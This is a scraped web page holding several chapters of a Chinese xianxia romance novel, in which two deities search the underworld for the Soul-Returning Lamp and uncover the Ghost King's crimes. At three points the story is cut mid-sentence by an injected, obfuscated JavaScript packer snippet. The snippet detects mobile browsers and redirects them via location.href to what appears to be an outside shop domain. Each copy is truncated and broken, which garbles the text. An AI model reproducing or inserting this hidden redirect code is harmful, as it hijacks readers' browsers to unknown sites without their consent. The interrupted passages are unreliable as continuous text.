两人有肉身,穿着又不似冥修,明显是外族人,摊贩不疑有他,悄声告知:“二位贵人不知道,应是刚来不久吧?鬼市是我们冥界最大的交易之地,虽说见不得光,但有的是各种好东西,那儿的地主神通广大,只要钱够多,天南海北的宝物都能给你找来。” 珞瑶本是随口一问,见摊贩吹得神乎其神,反让人起了几分兴趣。 她心中一动,“如此说来,那里的消息该是十分通达了?” “这是自然。”摊贩想都不想,“放眼整个冥界,消息最灵通的地方就是鬼市了。” “这“鬼市”在何处?” “西部边城,无量坡。” 无量坡,冥、灵两族的边界。 羲洵听懂了珞瑶的用意,两相对视一眼,交换了信号。 看来在返回上界前,他们有新的去处了。 丹狸得到了心心念念的鱼,早就躲进自己的小空间里大快朵颐去了。羲洵和珞瑶离开鱼摊继续前行,前者开口问:“想去那个鬼市看看?” 珞瑶点头,“与其空等冥宫的消息,不如我们先去碰碰运气,也许会有线索。” 两人的想法不谋而合,当下不再耽搁,准备动身,然而,还没等他们走出街市,珞瑶的脚步先停住了。 时辰渐晚,街上游荡的魂灵有所减少。 她感知到异样的气息,向身后一望,但没发现可疑的身影。 珞瑶神色变冷,“有人跟着我们。” 羲洵随之回头,目光一扫,只看见一缕虚幻不定的魂影,转瞬间消失在了巷陌深处。 观其身手了得,行事谨慎,八成是冥宫的细作,为了窥探他们下一步的行踪。 回想起提起归魂灯时冥王种种不寻常的反应,也许是他们多心,但既然已经生出怀疑,还是应该有所防范。 珞瑶当机立断拉起羲洵,“走。” 霎时间,立在街边的人影化作了两道莹光,迅疾如电飞过地面热闹的街市和人群,朝着远方而去。 珞瑶四处飞跃,为了甩掉跟踪者刻意不走直线,而是东一下西一下,羲洵由着她带路,索性不再动用神力,专心在她的牵引下行动。 两人随心起跃,翻过了一排排整齐的石墙瓦舍,几乎把整个冥都都俯瞰了个遍。 冥宫的细作起初紧追不舍,但与前面的两尊大佛相比到底是实力悬殊,没过多久就追不上了,被甩在后面越变越小,最后消失成了一个点。 一直飞到了冥都边缘,附近十分冷清,珞瑶停下来,和羲洵一起闪身进了小巷。 灵力有意敛去,随后,原本属于两人分外明显的气息被冲淡,逐渐变得微弱、再微弱,最后彻底感受不到了。 这样一来,那些人就找不到目标了。 珞瑶眸光锐利,立在巷口悄声观察,羲洵在她身后,眼底浮现出几分笑意。 “放心,他们找不到的。”他道。 又过了片刻,那些人果然没有再追上来,珞瑶放下心,转回身来,“伯池愈发可疑了。” 冥王伯池性情直率,一向是最关心镇幽珠安危的人,时不时便会派手下到澜渊献礼。此番他们来求归魂灯,已经说明了目的,按照他以往的性子本该格外积极,如今却一反常态地隐而不发,不肯坦诚一句,令他们不得不暗自揣测。 珞瑶思虑片刻,还是决定先放下这一茬,专心寻找归魂灯的下落。 要是找过一圈后还是没有进展,再回冥宫应对伯池也不迟。 “走吧,去无量坡。” 说完,她抬步向小巷外走,一转身却被拽住了,低头一看,竟发现自己不知何时拉起了羲洵的手,直到现在都没松开。 珞瑶如梦初醒,下意识挣了挣,面前人好像走神了,见她挣扎,不仅没有立刻松手,反而下意识更加握紧了。 暖意透过掌心传来,珞瑶脑中一空,隐约从忆海中找回了丁点记忆——是她方才急于甩开跟踪之人,主动拉的羲洵。 珞瑶短暂一怔的功夫,羲洵率先回过神,松开了她的手,紧接着退后半步,耳后泛起一抹不易察觉的红。 “……幸好拉着,否则按方才你的速度和路线,我怕是要追不上了。” 他语调中含着庆幸,若无其事地掩下那一瞬的心悸,指尖尚且存留着温度,在衣袖下一蜷。 夜风阵阵,附近没有人烟,只余下几缕昏黄又柔和的灯烛影子,照在人脸上。 丹狸的声音自灵台中响起,兴奋几乎都要溢出来,“我不过吃了条鱼,你们怎么就牵上手啦?” 珞瑶辩解:“不是牵手,只是拉了一下。” “是你太迟钝,神君都不愿意放开了!” 丹狸才不管那么多,自顾自吱哇乱叫起来,一声声仅她听得见的起哄声里,珞瑶的心也稀里糊涂乱起来,是她从未有过的陌生感觉。 她默默调整好心绪,镇定道:“事不宜迟,现在就出发去鬼市吧。” 羲洵面上也有不自然,但很快出声应了。两人身形一晃,随即化作光晕融入夜风,向西边而去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202257|197243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …… 到达无量坡的时候,正是深夜时分。不远处,一大片青黑的房屋隐在雾气里,如海市蜃楼般虚幻,荧荧烛火在黑暗中闪动,寂静又神秘。 这便是所谓“鬼市”了。 门口有鬼魂把守,两人都事先隐去了气息,看上去就是两个普通的修炼者,于是轻而易举就进了大门。 周遭灯火通明,夜行游荡的既有鬼魂,也有来自外族的人,颇为热闹,行过一段路程后,两侧寻常小摊却逐渐减少,行人也随之减少,往深处一望,又是一道石门重新来过。 珞瑶在门前却步,思索之时,负责招待客人的小鬼魂飘过来,带起一阵冷飕飕的风,“贵客,往明还是往暗?” 两人初次到来,并不清楚这些特定的暗语是何含义,目光越过石门一望,发现鬼市深处分成了两部分,在道路尽头的岔路口被隔开,分别通往不同的道路—— 左边为“明道”,里面人潮如织,灯火粲然,一派觥筹交错的繁华景象;右边角落一条不起眼的小路则为“暗道”,与“明道”的喧闹大相径庭,幽深不见底。 “明道市明,暗道市暗。” 小鬼魂神情木然,当差已久,与冰冷的机械也无异了。 明亮的大道里飘来一阵丝竹歌舞声,传进人的耳朵。 珞瑶望着岔路口,心中逐渐有了猜测。 整个鬼市一分为二,两边的经营范围不同,面向的也是不同的客人。明道与寻常街市差别不大,里面有酒楼、琴坊,主要交易市面上的常见之物,比如衣裳布料、金银饰物,以及被丹狸吃掉的鱼。 至于暗道,便是鱼摊摊贩口中的“见不得光之处”,那些“神通广大”的地主,就聚集在这里。 小鬼魂拿出两块符牌,操纵着它们浮向空中,珞瑶伸出手,在其中选择了去往暗道的一块,同羲洵一起跨进了右侧的门。 穿过不见五指的狭道,前路渐渐变得开阔,也有了些许光亮。一片黯淡的石楼出现在人眼前,每座看起来都冷冷清清,最有生机的也不过在屋檐上挂了几盏荧灯。 一副死气沉沉的模样,行人也不过寥寥几个,让人实难将这里与什么“手眼通天”、“消息通达”的描述联系起来。 “再向里面走一走吧。”羲洵道。 两人继续向深处去,珞瑶将丹狸放出去探路,没过多久便奔了回来,被珞瑶重新捞回臂弯。 丹狸抖了抖浑身的绒毛,一只爪子指向前方,“后面的石楼长得也都一样,和这里的没什么差别,仅有燃灯多少之分,有一个名叫纭楼的地方,窗前点的灯最亮。” 珞瑶和羲洵走过了一段距离,凭着观察,加上路过行人时听见的一些低声私语,大致推测出了“暗道”的经营方式。 在这里,不同的石楼代表不同的组织,名声有大小,“办事”能力亦有高低之分。凡是在某处石楼上提交过订单的客人,若最后所求得偿,便可以在这里点一盏天灯,以示满意和感激。 因此,一座石楼的灯火越亮,就意味着生意来往越盛,完成的订单越多。 纭楼。 珞瑶在心里默念了一遍这个名字,道:“过去看看。” 12. 晴光业火(三) 丹狸在前引路,不久,明光渐盛,一座石楼出现在道路尽头,端看楼的外形与他处无异,窗边和高耸的房檐上却足足挂着十几盏天灯,照亮了头顶漆黑的天空。 两人行至纭楼门口,正欲入内,眼前倏然出现了几簇幽幽的鬼火,拦住了他们的去路。 随后,大门开启,里面空无一人。火苗飘荡着飞了进去,跳到一块陈旧的红布上,顷刻间蔓延出熊熊火海,席卷了整个石楼。 大火深处,房梁、照壁全部垮塌,现出满地的森然白骨。 一阵疾风袭来,灰烬裹挟着烧灼感涌向大门外,扑到人脸上。 面对眼前的骇人景象,珞瑶和羲洵站在门口,神色还算冷静,倒是丹狸被结结实实吓了一跳,头都埋进了珞瑶怀里。 珞瑶见状,安抚地抚了抚猫毛,“只是幻象。” 火势依旧暴烈,她将丹狸放回了衣襟里,同羲洵一道走进纭楼,将满地火焰和白骨踩在了脚下。 奇怪的是,那嚣张的火舌并未卷上他们的衣角,依旧在原地烧得旺盛。 角落,通往楼顶的木梯同样“深陷火海”,两人视若无睹踏了过去,走向二楼。 他们身后,越过去的尸山火海如瓦片般碎裂,轰然消散。 …… 楼顶,房中光线暗沉,两团火苗点在烛芯上,忽明忽灭,屏风后挂着重重纱帐,银铃轻响,隐约能窥见其后一抹暗青色的衣角。 “真是罕见,我的幻象阵竟被破了……看来,今日是来了大人物。” 女子自语,懒懒地晃了晃手中酒盏。 她手腕一扬,原先安然蛰伏的鬼火接到命令,分裂成好几个飞向不同的烛台,点燃了弯曲的烛芯。 内室瞬间灯火通明。 珞瑶和羲洵走上来,看到的就是这样一副景象,行至中间,被一扇极为高大的屏风挡住了去路。 空旷的环境里,在他们眼前的仅有一张古朴的乌木长桌,和两把缠绕着枯藤的圈椅。 一道虚无缥缈的女声响起,带着回音,“客从何处来?” 找不到声音发出的源头,羲洵不动声色,答道:“蓬莱仙岛,乐善阁座下。” 乐善阁受仙界管辖,阁中众仙逍遥避世,修为平平,但热衷于收藏各地的珍稀灵宝,现在会慕名来冥界打听归魂灯的下落,也就不意外了。 他们秘密来到鬼市,不愿引人注目,所以捏造了这个假身份,羲洵最熟悉仙界,用乐善阁作掩护也最方便。 女子听后,轻笑了一声,明显是见惯了来自各界的大人物,所以一点儿不觉得震惊,开口一问便直奔主题。 “所求为何?” “嬴氏法器,归魂灯。” 话音落,悬在帷帐后的银铃晃了一下,发出细碎的轻响。两人敏锐地捕捉到这一瞬的动静,目光锁定到声音来处。 见自己已然暴露了位置,女子也不再伪装下去,虽然仍未露面,但变回了正常的声音。 她像是冷笑了一下,很快开了口,仿佛刚才那声笑是他人的错觉,“此物可不好找,至于结果如何,就看仙君有多少诚意了。” 神明富有天地四海,对身外之物的欲望早已淡薄,羲洵信手一挥,金条、银锭霎时间映了人满眼,铺满整张长桌。 各界用自己的钱币交易,但不论何时何地,金银都是不折不扣的硬通货。 “只要能找到,钱财不是问题。”他道。 “爽快。” 女子道,不知为何,口吻却愈发地冷了。 她的声音再度变得虚幻,仿佛从远方飘来,“来这里打听归魂灯,你们算是找对了地方……” 高燃的烛台忽闪几下,原本将内室分隔成两块空间的结界也变得微弱。珞瑶有所觉,疾步绕过屏风,却见帷帐后面空无一人,唯有银铃颤动不止。 那女子化作飞烟散出窗牖,早已扬长而去,只在原地留下了一张墨迹未干的纸条。 “今夜子时三刻,焰息山见。” 焰息山,冥界西南边境的最后一座山,极为偏远,且终年酷热,环境恶劣到了极致。 如果是没有法力的凡人,从这里赶过去起码要一周的路程。 丹狸惊魂未定地冒出头,小声道:“她会不会是在诓我们?” 珞瑶捏着那张纸条,摇了摇头。 那女子不肯露面,又来去无踪,的确容易让人有所顾虑,但其实对话时无意暴露的种种细节,已经说明了她不简单。 比如,当他们说出归魂灯的时候,她没有疑惑,亦没有追问一句,可此物默默无闻百年,最初看见名字的时候,连众神都一无所知。 她早已知晓归魂灯的存在,还可能有所了解。不管她约在焰息山究竟出于何种目的,他们都不该放弃这次机会。 …… 入夜后,两人应约前往焰息山,乘风越过诸多山原房屋,不过半柱香的功夫便跨越了小半个冥界,到达了目的地。 转眼到了子时,月上中天,原本皎洁的月色照在冥界灰蒙蒙的天空里,也显得阴沉黯淡了不少。 因为太过偏僻,焰息山上冷冷清清,百草荒芜,几乎没有鬼魂或其他生灵的踪迹,唯有翻腾不止的岩浆溅出火山口,一刻不停地灼烧着大地。 这里环境恶劣,论及繁华程度,更是不及冥都和鬼市的十分之一。 珞瑶和羲洵走在山麓间,行至某处时,前者蹲下身,手指在地面上摸了几下。 她目光锁在那些被岩浆侵蚀过的土粒上,无声皱起了眉。 “怎么了?”羲洵问。 “这里的土,不对劲。” 她道,指尖碾碎土粒,果然在里面看见了一丝快要消散干净的黑气,那是只有幽祟才会留下的痕迹。 珞瑶扫视了一圈周围,心头疑云密布。 她能感知到这里埋葬着幽祟的残魂,而且经年累月数量惊人,与往年圣境使者传回澜渊的公务文书对不上。 是时,地表沟壑间沉寂着的岩浆如同感知到了什么,忽然开始沸腾,一股滚烫的热气扑面而来。 紧接着,一道魂影轻捷地落向地面,变出了肉身。 女子身着暗青色衣裙,发髻间仅用几支银簪点缀,却看不见容貌,脸上戴着一张黑漆漆的面具。 “二位仙君甚是守时,竟是纭姬来迟了。” 她的声音与今日纭楼中的那道一般无二,说完,颇有风度地侧了侧身,对不远处的两人道:“仙君想要的东西就在山谷里,请随我来。” 既来之则安之,珞瑶和羲洵没有怀疑,很快跟了上去。 乌云掩住了月亮,越往山中走,道路越显得阴暗,酷热之余,耳畔还伴随着岩浆不安的翻涌声。 纭姬走在前面引路,问道:“还没来得及问仙君,为何执意要求得归魂灯?毕竟此物失踪已久,鲜有人知。” “阁中长老有兴致,便派我二人来此寻找, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202258|197243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想来是对此物的效用感兴趣,具体如何,我等晚辈也不好追问。” 羲洵在脑中回想了一番有关乐善阁的记忆,面色如常道。 “原来如此。”纭姬应了一声,继续向前行。 起初两人没有怀疑,可眼见向山中越走越深,回头也看不到归去的路,便渐渐察觉出异样来。 他们已经置身于山谷之中,而这山谷格外深阔,好像怎样走都走不出去。 珞瑶盯着女子背影,“你已带着我们走了许久,还要多远才能到达?” “山长路远,仙君何必心焦?总要到了地方才能停下。”纭姬笑道,始终没有给出准信。 珞瑶的目光稍稍冷了下来,停下脚步,“到底还要多久?” 见二人都不肯再前行,纭姬陡然一笑,无奈道:“看来仙君是不肯配合了,既然如此急切,那……” 她笑意尽消,语气变得狠厉:“你们就尽早上路吧!” 话落,大地震颤起来,从微弱逐渐变得剧烈,由远及近传来一阵隆隆声。 没等珞瑶和羲洵有所反应,谷地尽头竟缓缓涌现出一大批鬼魂组成的大军,擎着一面绣字漫漶不清的军旗,从四面八方俯冲而来。 “杀——!” 两人意识到不对,旋即看向几步之外的纭姬,后者没给他们开口询问的机会,已经驱动起全身灵力,强势地攻向他们的面门! 珞瑶心惊,立刻闪身与羲洵分开,避开了那凌厉的掌风,眼见那魂潮越来越逼近,心中明白过来——纭姬对他们怀有杀心,这群大军也是她召来的。 她从一开始就没准备找归魂灯,之所以费心思把他们引到这里来,是为了神不知鬼不觉地取了他们的性命! 一击不中,纭姬很快再度出手,数不清的灵阵如雨点般飞来。羲洵与珞瑶分开行动,先后踩着山壁飞向空中,不断躲避着她的攻势。 她的反应实在过于激烈,不似寻常,明明是萍水相逢,出招却像同他们有着天大的仇恨。 为了遮掩身份,两人事先将原有的修为封印了大半,好在身手底子尚在,眼下二对一还算轻松,但纭姬的修为不低,等到那支大军也加入了战场,他们就未必还能像现在这般从容了。 岩浆闻见了硝烟的味道,蠢蠢欲动地翻滚起来,连带着整座山体都颤抖不止。 羲洵心知不能这样耗下去,高声问道:“你我无冤无仇,为何执意要下杀手?” “我管你什么冤仇,凡是敢觊觎我嬴氏之物的人都该去死!” 纭姬厉喝出声,显然一个字都没听进去,说出的话却让珞瑶捕捉到了关键信息,瞳孔微缩。 她在一旁抓准时机,身形迅疾闪到了纭姬面前,后者躲闪不及,虽没有受伤,用以遮面的面具却被打落,掉进了地缝的岩浆里。 纭姬闷哼一声,意外露出了真容,杏眼朱唇,明媚不失英气,堪称出众的容貌,但对两人来说是十足陌生的。 “欺人太甚!” 这一下,纭姬被彻底激怒了,使出的招数愈发迫人,纷纷向二人袭来。 下一刻,山谷中央凝聚出一个玄色光柱,而后越变越大,最后遮蔽住了整片天空! 珞瑶和羲洵困在阵法里面,那一眼望不到边际的大军已经进入谷底,将他们团团包围住,为首黯淡无光的军旗上赫然写着一个字——“嬴”。 嬴家军? 珞瑶目光转向纭姬,似乎明白了什么。 13. 晴光业火(四) 当下局势对他们不利,羲洵不再掩藏,衣袖一挥,唤起一道淡金色的光晕,飞向中间的阵眼。 方才还强盛至极的阵法被轻飘飘一击,登时就如瓷器般脆生生碎裂开来,消散地无影无踪。 “不可能……” 看着眼前突如其来的变故,纭姬瞳孔骤缩,浑身都僵住了。 她自认平日修炼勤勉,修为也在六界多数修炼者之上,自己最拿得出手的阵法,怎么会被两个小仙如此轻而易举地击破? “乐善阁散漫无为,座下众仙不可能攻破我的噬魂阵!你们到底是谁?” 纭姬大喝,恼羞成怒冲向他们,珞瑶不躲不闪,直直迎了上去。 两人掌心在空中相撞,灵力互不相让地抵抗,形成了两道刺眼的光罩,照得天地亮如白昼。 纭姬愈发怒不可遏,几乎用了全力攻上去,却发现了一个令她震惊且绝望的事实——不论她使出几成力,竟都撼动不了对面人半分。 她心惊不已,喃喃道:“你们绝非乐善阁之人……” 耀目的光里,珞瑶阖上双眼。 下一瞬,光芒陡然大盛,她冲破了体内的封印,破体而出的灵力化作大阵落向地面,生生把脚下黑压压的大军击飞出去数丈远。 整个山谷风声大作。 她眼角,两道莹蓝色的昙花纹明灭,一条白如霜雪的绫罗被召唤出来,如有意识般绕在了她衣袖间。 这武器,这圣纹…… 纭姬面色忽地变白,骇然失声:“你是——” 珞瑶以指抵着她掌心,清凌凌的光照下来,愈发显得那双柳叶眸疏淡至极。 她语调发冷:“还不收手?” 纭姬如梦初醒,匆匆收起灵力,落地时没站稳,仓皇退后去好几步。 六界谁人不知澜渊圣女为灵昙所化,性冷寡言,常用的武器名叫轻光绫,再看另一人言吐温润,气度高华,眉间神印虽没有暴露,但灵力呈浅金色,能与圣女一同行走,亦不难猜出其身份。 难怪刚才,他们那么轻易就破了自己的阵法…… 纭姬面色惨白,立马跪了下去:“纭姬有眼无珠,竟没能识出圣女和神君的身份,万望恕罪!” 她身后,大军亦如潮水般退却,转眼消失在了寂空里。 珞瑶和羲洵先后落回地面,看着纭姬伏地的身影,一时无话。 他们尚不明确纭姬的身份,但见方才被她召唤来的军队是嬴家军,便能猜出大半了。 珞瑶立在几步远处,似是疑问,实际已经是笃定的口吻,“你是嬴氏后人。” 面对这个直奔中心的问题,纭姬的身体僵了僵,想要缄口不答,却又没有逃避的机会。 “……是。” 半晌,她垂着首,选择了坦白。 这个答案在两人意料之中,羲洵又问:“为何要杀寻找归魂灯的人?” 他们最不解的地方就在于此。纭姬是嬴氏后人,急于找回自家法器是人之常情,可既知归魂灯丢失,遇上前来打听的人却如此偏激,动辄便要取人性命,若能与他人合作,找到灯在何处岂不是更好? “嬴氏一族受过伤害,认为觊觎归魂灯的人居心叵测,全都不该存活于世。”纭姬伏在地上,低低道。 “什么伤害?” 珞瑶走近她,“说清楚。” 纭姬心有不平,勉强回答了先前的几个问题已是极限,眼下再遭两人逼问,终于承受不住了。 她呼吸急促,突然膝行上前拉住珞瑶的裙角,不管不顾说出了掩藏已久的“秘密”:“伯池背信弃义,将冥后囚于边境绝域百年,日日承受灼烧之苦,求圣女和神君伸出援手,救救我们家夫人!” 珞瑶被她抓着衣裙,半晌才成功消化完她的一番话,心下微惊。 伯池秘密囚禁了冥后? “三百年前,夫人亲率嬴家军前往边疆抵御幽祟,忙于战事无法脱身,伯池趁机拉拢重臣,架空了夫人在朝中的权力。” 纭姬知道如果错过这次机会就再也没有了翻身的可能,交代时语气急切,只怕说不完便被打断,“夫人在争斗中落败,之后便被囚禁了起来,日日受岩浆熏蒸之苦。伯池一手把持朝政,共治局面不存,再这样下去,冥界危矣!” 冥后在人间时为嬴氏族人,死后投入冥界再生,但身份和记忆依然存在,所以被世人称作嬴夫人。 两人不知冥界还发生过这样一件大事,难怪在冥宫问起嬴夫人,伯池的回应漏洞百出,要不是他们去鬼市机缘巧合选择了纭楼,遇上了纭姬,怕是要被一直蒙在鼓里。 可说到底,无论纭姬所说是真是假,这都是冥族内部的冲突。 羲洵沉吟一番,直言道:“下界族群各自为政,向来互不干涉,如今冥界百姓安居乐业,伯池地位稳固,即使我等身处上界神山,亦没有插手的权力。” “不!” 纭姬抬起头,目光殷切,“神君觉得无法插手,是因为还不清楚伯池的所作所为,那些百姓看上去安居乐业,是因为厄运还没有降临到他们头上。” 尽管她话意不明,两人也从中察觉出了不寻常。 珞瑶皱起眉,追问道:“什么意思?” 纭姬神情变得激愤,满腔话语已到嘴边,却又生生咽了下去。 她再向二人一拜,恳求道:“王室秘辛,纭姬不敢多言,求圣女和神君随我去见一见我们家夫人吧,关于归魂灯的事,她定会知无不言的。” 伯池作为一界之主,如果当真做了什么伤天害理的事,神族有责任出手肃清,再者——放眼整个冥界,应该再没有比嬴夫人更熟悉归魂灯的人了。 如此,他们确实有必要去见嬴夫人一面。 “她在哪儿?”珞瑶问。 见两人松口,纭姬终于露出了一个笑容,抬头望向万仞高山,千沟万壑间,岩浆如血般横流。 “就在这里……焰息山,这是我们嬴氏一族,唯一的容身之处了。” …… 三人踏上焰息山顶,风声凝滞,草木荒芜,不安定的小火山口星罗棋布环绕着主峰,使这里比山谷热了十倍不止。 冥族性喜阴寒,不可在炎热之地久留,伯池将嬴夫人囚禁在这里,无疑是在变相地施加酷刑。 纭姬带着两人走过山路,来到狭窄的峭壁间,一处黑黢黢的洞窟掩在碎石堆之后,四周流淌着滚烫的岩浆。 她对着洞窟恭敬低首,出声道:“夫人,有贵客来。” 洞窟中隐有光晕闪动,随着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202259|197243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一声巨响,堆积在洞口的碎石被豁然冲开,汩汩岩浆好像也被这股力量震慑,全都停止了流淌。 片刻后,一缕魂魄缓缓飘了出来,虚幻的身影在落地后变为实体。 妇人两鬓染霜,却不显得虚弱或畏缩,着一袭麒麟纹玄色深衣,魁梧的身形依旧高大挺拔。 她目光如炬,巡过眼前两人,里面写着不肯熄灭的野心。 “三百年了……圣女,神君,好久不见。” 再见到许久未见的故人,珞瑶心绪复杂,没想到昔日叱咤风云的冥后被当成阶下囚,就在这里囚禁了三百年。 她道:“一别经年,不曾料想夫人的境遇如此艰难。” “成王败寇。”嬴夫人哂然。 经过岁月沉淀,她饱经风霜的面上已无激烈的愤恨之意,而气度未减,让人不难窥见过去那个意气风发的君主。 她不见颓色,开门见山道:“纭姬已经告诉了我你们的来意,既然圣女和神君想要归魂灯,那就与我合作吧。” 想起纭姬先前的控诉之言,对于合作内容是什么,两人心中已有所猜测。 羲洵问:“夫人想怎样‘合作’?” 嬴夫人望着他们,眸子里闪着志在必得的光,“清查伯池之罪,助我重返冥宫,还冥族安定——这应该也是你们期望看到的结果。事成之后,归魂灯任你们驱使。” 珞瑶和羲洵相视一眼,皆没有立刻作出回应。 古往今来,凡是上界要干预下界之事,都要师出有名,若遭有心之人蒙蔽,稍有不慎便会使得生灵涂炭,何况伯池是否有罪、有何罪,他们现在都一无所知。 察觉出两人异样的沉默,嬴夫人心头微沉,但很快便意识到了不妥,顿生了然。 “是我唐突了,圣女和神君淡然世事,不愿介入冥界之争也是常情……在邀请合作之前,我也该先向二位说一说往事。” 忆及旧事,嬴夫人面上露出不甘的神色,压抑多年的恨意又在心中回荡,缓缓开了口。 “当年我在人间身死,之后投入冥界,仍有数万亲军追随,伯池初登大位,手中无权无势,一句爱慕,便让我心甘情愿嫁给了他。后来我才知道,原来他对我并无真心,不过是垂涎我手中的兵力。” 天色黑沉,月色被乌云掩了个严严实实。 嬴夫人踱着步,将要行至峭壁边缘时,洞窟周围的禁制有所察觉,乍然亮起来作无声的震慑。 她盯着那道自地面泛起的亮光,就算再怨恨也只有收回脚步,一把挽起了宽大的袖口,露出手臂上一道道斑驳的伤疤。 那是岩浆灼烧过的痕迹。 望着那狰狞可怖的伤口,两人心中皆惊。 嬴夫人面露讽刺,“我与他争斗了上百年,最后还是败了,可我不认输,因为这证明不了我的手腕智谋逊于他,只是因为我没有他残忍,没有他不择手段。” 昔日亲近、安宁的时光已成过往,只剩下无尽的算计和争夺。 、 嬴夫人闭了闭眼,想起那张曾经昼夜相对的面庞,现在竟几欲作呕,脑中浮现出的全是当年自己一败涂地的模样、失去的人和东西…… 无辜惨死的族人、摔得粉碎的兵符,还有,那盏被强行夺去的灯。 14. 晴光业火(五) “归魂灯,它确实是嬴氏的东西,但……” 嬴夫人说着,忽然想到什么,望向对面二人,“你们要找它,怎么不先去冥宫打听一番?伯池现在一手遮天,会打探不到消息?” 纭姬今日才知道珞瑶和羲洵的身份,自然不知二人先前的行踪,也就无法告知嬴夫人。 对此,羲洵没有隐瞒,坦白他们已经去冥宫寻找过了,只是据伯池所说,归魂灯早已丢失。 丢失…… 嬴夫人心里默念着,垂在袖中的双手发颤,脚下山体察觉到主人的愤怒,惊惧地发起抖来,连带着表面溢出的岩浆都晃动不止。 暴怒之下,她险些失控,幸有纭姬适时安抚,在旁连声提醒着“夫人息怒”。 嬴夫人胸口起伏,恨声道:“你们都被他骗了!” 她怒不可遏,口吻又分外笃定,让两人都意识到了不寻常。 珞瑶心中一沉,当即追问:“这到底是怎么一回事?” “归魂灯有聚魂固气之效,可令神魂千年不散,此话不假,但伯池听信谗言,以为其效用超凡,每年吸食定量的魂魄,再用此物加以炼制,他就可以修得长寿之法,获得永生。” 嬴夫人怒极反笑,“我落败后,他困我在这里,把归魂灯强抢了去,但嬴氏炼造的法器只有嬴氏之人能够操控,岂容宵小染指。伯池无计可施,我又不肯帮他,他自然恼羞成怒,更不肯放我自由了。” 两人静静听着,起初平静,后来心头大震,几乎怀疑自己听错了,却不是因为被伯池欺骗说归魂灯早已丢失。 珞瑶瞳孔骤缩,“吸食魂魄……” 最初发现这件事的时候,嬴夫人也是同样的震骇,如今只是点了点头,明明唇边带笑,含着的却是悲凉。 “就是你想的那样。在冥界,每年都有平民莫名失踪,最后追查无果,申冤无门。” 冥族中人大多没有肉身,真身就是鬼魂,吸取魂魄等于同类相食。伯池身为君主,却残暴嗜杀,用无辜黎庶满足一己私欲…… 神族监管五界,逢乱即出,为的就是护佑众生安宁。 羲洵眸色微沉,道:“我会彻查此事,倘若属实,伯池必不可再居冥王之位。” “上界一向公正,让我等信服。圣女和神君欲查清真相,眼下正好有个千载难逢的好机会。” 这句保证正是嬴夫人想要的,于是露出个笑,不吝啬地给予两人指引。 “五日后,伯池的万寿宴。” …… 商议周全后,两人拜别嬴夫人,与纭姬一同离开了焰息山地界。 路上,丹狸又悄悄钻了出来,“现在回冥都,万一被冥王发现我们去过焰息山怎么办?” 羲洵微一沉吟,道:“我们绕道东边,从东城门进冥都。” 之前同纭姬交手的时候,珞瑶解开了灵台的封印,好在焰息山谷地形闭塞,四周皆是高深连绵的大山,她的灵力又只短暂释放了一瞬,因此不必担心行踪暴露传到冥都去。 珞瑶没有意见,转而又想起了另一茬。 最近诸事匆忙,距离他们向伯池打听归魂灯下落那天也不过几日的时间,要是万寿宴他们依旧一起出现,冥宫的人很容易就能猜到其中的猫腻,怕是也不会放松警惕。 而且,他们想打探的东西在暗处,若都在明处公然露面,到时候太引人注目,不利于行事。 珞瑶望了望跟在自己身后的纭姬,又看向羲洵,“我们先分头行动。” …… 最近,神山上冷冷清清,几位神君大都去了其他族界,毕竟现在虽然有了归魂灯的下落,但他们对其他两样东西还是一无所知。 一时间,神山的花园里只剩下羲泠一人。其实她也刚从仙界回来不久,只是没有找寻到什么有用的线索,再加上心中始终有事未了,便显得格外沉郁。 古树安静地盘虬在湖畔,微微摇曳着翠绿的树稍。 羲泠坐在琴桌前,数不清多少次施展法术,强势的光萦绕在她周身,最后收回灵力,却依旧是劳而无功。 风停了下来,耳畔只剩下瀑布的水流声,她看着眼前残损的神器,眸色暗了又暗。 “羲泠?我从人间回来,原本还想去蓬莱仙岛寻你……” 一道爽朗的女声蓦地从不远处传来,羲泠被吓了一跳,慌张将清月琴抱进怀里,想用宽大的衣袖遮掩。 但她还是迟了一步。朝梧已经走到她身边,看见从前灵力充沛的清月琴如今竟黯淡无光,琴弦几乎全部断裂了,乱七八糟地蜷曲在琴头和琴尾。 “这——” 朝梧惊诧不已,“羲泠,这是怎么回事?” 神器力量稳定,世间少有外物能对它们造成损伤,除非主人施法时失了分寸,超出了神器能够承受的极限。 羲泠低着头,半晌才出声:“没什么,只是有一次下界救人,我没能控制好灵力,不小心损坏了琴。” 羲泠早年修习医术,飞升之后仍坚持此道,以音律治伤救疾,清月琴是她最重要的法器。 “真的?”朝梧有些不相信,迟疑道。 